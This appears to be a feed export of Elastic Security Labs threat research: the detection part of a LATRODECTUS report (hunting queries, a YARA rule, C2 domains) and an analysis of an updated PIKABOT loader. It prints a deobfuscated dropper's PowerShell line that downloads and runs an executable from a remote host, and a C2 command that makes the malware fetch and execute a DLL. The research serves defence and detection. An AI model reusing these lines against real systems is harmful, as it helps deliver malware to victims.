<p>To evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image42.png" alt="Command handlers sandboxed" /></p>
<p>As an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:</p>
<pre><code>COMMAND|13|http://www.meow123.com/dll, ShowMessage
</code></pre>
<p>The following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.</p>
<pre><code>E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=
</code></pre>
<p>Using the following CyberChef recipe, analysts can generate encrypted command requests:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image1.png" alt="Example with DLL Execution handler via CyberChef" /></p>
<p>Using the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation.</p>
<h2>Detecting LATRODECTUS</h2>
<p>The following Elastic Defend protection features trigger during the LATRODECTUS malware infection process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image5.png" alt="Elastic Defend alerts against LATRODECTUS" /></p>
<p>Below are the prebuilt MITRE ATT&amp;CK-aligned rules with descriptions:</p>
<table>
<thead>
<tr>
<th>ATT&amp;CK technique</th>
<th>Elastic Rule</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_oversized_windows_script_execution.toml">T1059.007 - Javascript</a> <a href="https://attack.mitre.org/techniques/T1027/">T1027 - Obfuscated Files or Information</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_oversized_windows_script_execution.toml">Suspicious Oversized Script Execution</a></td>
<td>LATRODECTUS is delivered via oversized Javascript files, on average more than 800KB filled with random text.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1047/">T1047 - Windows Management Instrumentation</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/initial_access_execution_via_a_suspicious_wmi_client.toml">Execution via a Suspicious WMI Client</a></td>
<td>Javascript dropper invokes WMI to mount a WEBDAV share and invokes msiexec to install a remote msi file.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/007/">T1218.007 - Misexec</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a> <a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_suspicious_msiexec_child_process.toml">Suspicious MsiExec Child Process</a></td>
<td>MSI file hosted on remote Webdav and executed in quiet mode. Once executed it drops a DLL and launches rundll32 to load it via the Advanced installer viewer.exe binary.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/011/">T1218.011 - Rundll32</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></td>
<td>Rundll32 loads the LATRODECTUS DLL from AppData and starts code injection.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/">T1055 - Process Injection</a></td>
<td><a href="https://www.elastic.co/pt/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection">Memory Threat Detection Alert: Shellcode Injection</a> <a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml">VirtualProtect API Call from an Unsigned DLL</a> <a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a> <a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></td>
<td>Shellcode execution triggers 3 endpoint behavior alerts and a memory threat detection alert.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053/005/">T1053.005 - Scheduled Task</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></td>
<td>LATRODECTUS may persist using scheduled tasks (rundll32 will create a scheduled task).</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/004/">T1070.004 - File Deletion</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_potential_self_deletion_of_a_running_executable.toml">Potential Self Deletion of a Running Executable</a></td>
<td>Part of the malware DLL self update command and also when the DLL is not running from AppData, LATRODECTUS will delete itself while running and restart from the new path or running an updated version of itself leveraging <a href="https://github.com/LloydLabs/delete-self-poc">this technique</a>.</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/003/">T1059.003 - Windows Command Shell</a></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_command_shell_activity_started_via_rundll32.toml">Command Shell Activity Started via RunDLL32</a></td>
<td>LATRODECTUS Command ID (4) - Collect system information via a series of cmd.exe execution.</td>
</tr>
</tbody>
</table>
<p>The following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:</p>
<p><strong>Rundll32 Download PE/DLL</strong> (command handlers #12, #13 and #18):</p>
<pre><code class="language-sql">sequence by process.entity_id with maxspan=1s
[file where event.action == &quot;creation&quot; and process.name : &quot;rundll32.exe&quot; and 
 /* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : &quot;4d5a*&quot; and file.path : &quot;?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*&quot;]
[network where process.name : &quot;rundll32.exe&quot; and 
   event.action : (&quot;disconnect_received&quot;, &quot;connection_attempted&quot;) and 
   /* network disconnect activity to a public Ip address */
   not cidrmatch(destination.ip, &quot;10.0.0.0/8&quot;, &quot;127.0.0.0/8&quot;, &quot;169.254.0.0/16&quot;, &quot;172.16.0.0/12&quot;, &quot;192.0.0.0/24&quot;, &quot;192.0.0.0/29&quot;, &quot;192.0.0.8/32&quot;, &quot;192.0.0.9/32&quot;, &quot;192.0.0.10/32&quot;, &quot;192.0.0.170/32&quot;, &quot;192.0.0.171/32&quot;, &quot;192.0.2.0/24&quot;, &quot;192.31.196.0/24&quot;, &quot;192.52.193.0/24&quot;, &quot;192.88.99.0/24&quot;, &quot;224.0.0.0/4&quot;, &quot;100.64.0.0/10&quot;, &quot;192.175.48.0/24&quot;,&quot;198.18.0.0/15&quot;, &quot;198.51.100.0/24&quot;, &quot;203.0.113.0/24&quot;, &quot;240.0.0.0/4&quot;, &quot;::1&quot;, &quot;FE80::/10&quot;, &quot;FF00::/8&quot;, &quot;192.168.0.0/16&quot;)]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image8.png" alt="EQL Query using hunt detecting LATRODECTUS" /></p>
<p>Below is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon):</p>
<pre><code class="language-sql">from logs-endpoint.events.network-*
| where host.os.family == &quot;windows&quot; and event.category == &quot;network&quot; and
 network.direction == &quot;egress&quot; and process.name == &quot;rundll32.exe&quot; and
/* excluding private IP ranges */
 not CIDR_MATCH(destination.ip, &quot;10.0.0.0/8&quot;, &quot;127.0.0.0/8&quot;, &quot;169.254.0.0/16&quot;, &quot;172.16.0.0/12&quot;, &quot;192.0.0.0/24&quot;, &quot;192.0.0.0/29&quot;, &quot;192.0.0.8/32&quot;, &quot;192.0.0.9/32&quot;, &quot;192.0.0.10/32&quot;, &quot;192.0.0.170/32&quot;, &quot;192.0.0.171/32&quot;, &quot;192.0.2.0/24&quot;, &quot;192.31.196.0/24&quot;, &quot;192.52.193.0/24&quot;, &quot;192.168.0.0/16&quot;, &quot;192.88.99.0/24&quot;, &quot;224.0.0.0/4&quot;, &quot;100.64.0.0/10&quot;, &quot;192.175.48.0/24&quot;,&quot;198.18.0.0/15&quot;, &quot;198.51.100.0/24&quot;, &quot;203.0.113.0/24&quot;, &quot;240.0.0.0/4&quot;, &quot;::1&quot;,&quot;FE80::/10&quot;, &quot;FF00::/8&quot;)
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections &gt;= 100
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image3.png" alt="ES|QL Query using hunt detecting LATRODECTUS" /></p>
<p>Below is a screenshot of Elastic Defend triggering on the LATRODECTUS <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar">memory signature</a>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image23.png" alt="Memory signatures against LATRODECTUS via Elastic Defend" /></p>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar">LATRODECTUS</a>:</p>
<pre><code>rule Windows_Trojan_LATRODECTUS_841ff697 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-03-13&quot;
        last_modified = &quot;2024-04-05&quot;
        license = &quot;Elastic License v2&quot;
         os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.LATRODECTUS&quot;
        reference_sample = &quot;aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c&quot;


    strings:
        $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
        $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
        $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
        $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
        $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
        $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
        $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
        $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c</td>
<td>SHA-256</td>
<td>TRUFOS.DLL</td>
<td>LATRODECTUS</td>
</tr>
<tr>
<td>aytobusesre.com</td>
<td>domain</td>
<td></td>
<td>LATRODECTUS C2</td>
</tr>
<tr>
<td>scifimond.com</td>
<td>domain</td>
<td></td>
<td>LATRODECTUS C2</td>
</tr>
<tr>
<td>gyxplonto.com</td>
<td>domain</td>
<td></td>
<td>ICEDID C2</td>
</tr>
<tr>
<td>neaachar.com</td>
<td>domain</td>
<td></td>
<td>ICEDID C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39">https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39</a></li>
<li><a href="https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice">https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice</a></li>
</ul>
<h2>Tooling</h2>
<p><a href="https://github.com/elastic/labs-releases/blob/main/tools/latrodectus/latro_str_decrypt.py">String decryption and IDA commenting tool</a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/Security Labs Images 16.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PIKABOT, I choose you!]]></title>
            <link>https://www.elastic.co/pt/security-labs/pikabot-i-choose-you</link>
            <guid>pikabot-i-choose-you</guid>
            <pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed new PIKABOT campaigns, including an updated version. PIKABOT is a widely deployed loader malicious actors utilize to distribute additional payloads.]]></description>
            <content:encoded><![CDATA[<h2>PIKABOT at a glance</h2>
<p>PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.</p>
<p>This post will highlight the initial campaign, break down the new loader functionality,  and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.</p>
<p>During the development of this research, the ThreatLabz team at Zscaler released great <a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">analysis</a> and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.</p>
<h3>Key takeaways</h3>
<ul>
<li>Fresh campaigns involving significant updates to the PIKABOT loader and core components</li>
<li>PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from <code>.data</code> section</li>
<li>Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications</li>
<li>PIKABOT development appears as a work-in-progress, with future updates likely imminent</li>
<li>Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly</li>
</ul>
<h4>PIKABOT campaign overview</h4>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image17.png" alt="PIKABOT execution flow" /></p>
<p>As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image21.png" alt="Obfuscated Javascript within ZIP archive" /></p>
<p>Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.</p>
<pre><code class="language-JavaScript">// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i &lt; 3; i++)
{
	var obj = new ActiveXObject(&quot;WScript.Shell&quot;)
	obj['Run'](&quot;powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe&quot;)
}
</code></pre>
<h2>PIKABOT loader</h2>
<h3>Loader stage 1</h3>
<p>To appear authentic, the developer tampered with a legitimate search and replace tool called <code>grepWinNP3.exe</code> from <a href="https://github.com/rizonesoft/Notepad3">this</a> repository. Using our internal sandboxing project (<a href="https://www.elastic.co/pt/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a>) and leveraging Elastic Defend’s <a href="https://www.elastic.co/pt/security-labs/peeling-back-the-curtain-with-call-stacks">call stack feature</a> provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.</p>
<p>An analysis of the call stack data reveals that execution begins at a call before offset <code>0x81aa7</code> within the malicious file; the execution then leaps to a memory allocation at a call prior to offset <code>0x25d84</code>. Furthermore, it was observed that the process creation call stack is missing normal calls to <code>KernelBase.dll!CreateProcessInternalW</code> and <code>ntdll.dll!NtCreateUserProcess</code>, due to the use of a syscall via shellcode execution residing in the <a href="https://www.elastic.co/pt/security-labs/hunting-memory">unbacked memory</a>. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image8.png" alt="Alert call stack for PIKABOT loader" /></p>
<p>Looking into the offset <code>0x81aa7</code> of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the <code>grepWinNP3.exe</code> file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image1.png" alt="Entrypoint to malicious code" /></p>
<p>The malicious code employs heavy obfuscation, utilizing a technique where a jump (<code>JMP</code>) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image14.png" alt="Obfuscation involving a combination of instructions and jumps" /></p>
<p>The loader extracts its stage 2 payload from the <code>.text</code> section, where it is stored in chunks of <code>0x94</code> bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image5.png" alt="Decryption algorithm for stage 2 payload" /></p>
<p>The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image25.png" alt="Reflectively loading PE" /></p>
<h3>Loader stage 2</h3>
<p>The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.</p>
<h4>Anti-debugging</h4>
<p>The malware utilizes specific NTDLL <code>Zw</code> APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.</p>
<p>It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a <code>Zw</code> API name as a parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image24.png" alt="Function used to execute syscall by hash" /></p>
<p>The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the <code>Zw</code> function name. After finding the correct syscall ID, it uses the <code>Wow64Transition</code> Windows API to execute the syscall in 64-bit mode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image11.png" alt="Control flow graph showing syscall passed to WoW64Transition" /></p>
<p>Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a <code>ZwQueryInformationProcess</code> call with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code>(7):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image6.png" alt="Syscall parameters pushed on stack" /></p>
<p>The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:</p>
<ul>
<li>Calling <code>ZwQuerySystemInformation</code> with the <code>SystemKernelDebuggerInformation</code> parameter to detect the presence of kernel debuggers.</li>
<li>Calling <code>ZwQueryInformationProcess</code> with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code> to identify any debugging ports associated with the process.</li>
<li>Calling <code>ZwQueryInformationProcess</code> again, but with the <code>ProcessInformationClass</code> set to <code>ProcessDebugFlags</code> parameter, to ascertain if the process has been flagged for debugging.</li>
<li>Inspecting the Process Environment Block (PEB) for the <code>BeingDebugged</code> flag, which indicates if the process is currently being debugged.</li>
<li>Using <code>GetThreadContext</code> to detect hardware breakpoints.
Scanning the list of currently running processes to identify any active debugging or forensic tools.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Decompilation of debugging checks" /></p>
<p>Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image15.png" alt="Process names with missing first byte" /></p>
<h4>Execution</h4>
<p>The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for <code>Zw</code> APIs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image19.png" alt="APIs retrieved for loading core component" /></p>
<p>Below is the reconstructed structure:</p>
<pre><code class="language-C">struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};
</code></pre>
<p>Loader structure</p>
<p>The malware then consolidates bytes of the PIKABOT core that are scattered in the <code>.data</code> section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image2.png" alt="Functions used to retrieve core payload in chunks" /></p>
<p>It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image3.png" alt="Decryption functions using RC4 and base64" /></p>
<p>After consolidating the decrypted bytes, it uses the <code>RtlDecompressBuffer</code> API to decompress them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image27.png" alt="PIKABOT loader using decompression function" /></p>
<p>The loader creates a suspended instance of <code>ctfmon.exe</code> using the <code>ZwCreateUserProcess</code> syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the <code>ZwAllocateVirtualMemory</code> syscall to house the PIKABOT core's PE file.</p>
<p>Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the <code>ZwWriteVirtualMemory</code> syscall. It then redirects the execution flow from <code>ctfmon.exe</code> to the malicious PIKABOT core by calling the <code>SetContextThread</code> API to change the thread's execution address. Finally, it resumes the thread with <code>ZwResumeThread</code> syscall.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image13.png" alt="Syscall execution of core payload" /></p>
<h2>PIKABOT core</h2>
<p>The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.</p>
<p>The notable differences include:</p>
<ul>
<li>New style of obfuscation with fewer in-line functions</li>
<li>Multiple implementations for decrypting strings</li>
<li>Plaintext configuration at runtime, removal of JSON format</li>
<li>Network communication uses RC4 plus byte swapping, removal of AES</li>
</ul>
<h3>Obfuscation</h3>
<p>One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.</p>
<p>Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image18.png" alt="Obfuscation using global variables" /></p>
<h3>String Decryption</h3>
<p>As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.</p>
<p>Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image12.png" alt="In-line RC4" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image16.png" alt="String decryption using RC4 with benign strings" /></p>
<p>In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using <code>netapi32.dll</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image22.png" alt="Stack string placement using netapi32.dll" /></p>
<h3>Anti-debugging</h3>
<p>In terms of anti-debugging in this version, PIKABOT checks the <code>BeingDebuggedFlag</code> in the PEB along with using <code>CheckRemoteDebuggerPresent</code>. In our sample, a hardcoded value (<code>0x2500</code>) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Debugger check" /></p>
<h3>Execution</h3>
<p>Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using <code>GetUserDefaultLangID</code>. If the <code>LangID</code> is set to Russian (<code>0x419</code>) or Ukranian (<code>0x422</code>), the malware will immediately stop its execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image26.png" alt="Language check" /></p>
<p>After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: <code>{6F70D3AF-34EF-433C-A803-E83654F6FD7C}</code></p>
<p>Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by <code>RtlRandomEx</code> and then place the key into the config structure to be used later during its network communications.</p>
<h3>Initial Collection</h3>
<p>The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:</p>
<ul>
<li>Retrieves the name of the user associated with the PIKABOT thread</li>
<li>Retrieves the computer name</li>
<li>Gets processor information</li>
<li>Grabs display device information using <code>EnumDisplayDevicesW</code></li>
<li>Retrieves domain controller information using <code>DsGetDcNameW</code></li>
<li>Collects current usage around physical and virtual memory using <code>GlobalMemoryStatusEx</code></li>
<li>Gets the window dimensions using <code>GetWindowRect</code> used to identify sandbox environments</li>
<li>Retrieves Windows OS product information using <code>RtlGetVersion</code></li>
<li>Uses <code>CreateToolhelp32Snapshot</code> to retrieve process information</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image23.png" alt="Victim information retrieved such as username, computer name, etc" /></p>
<h3>Config</h3>
<p>One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.</p>
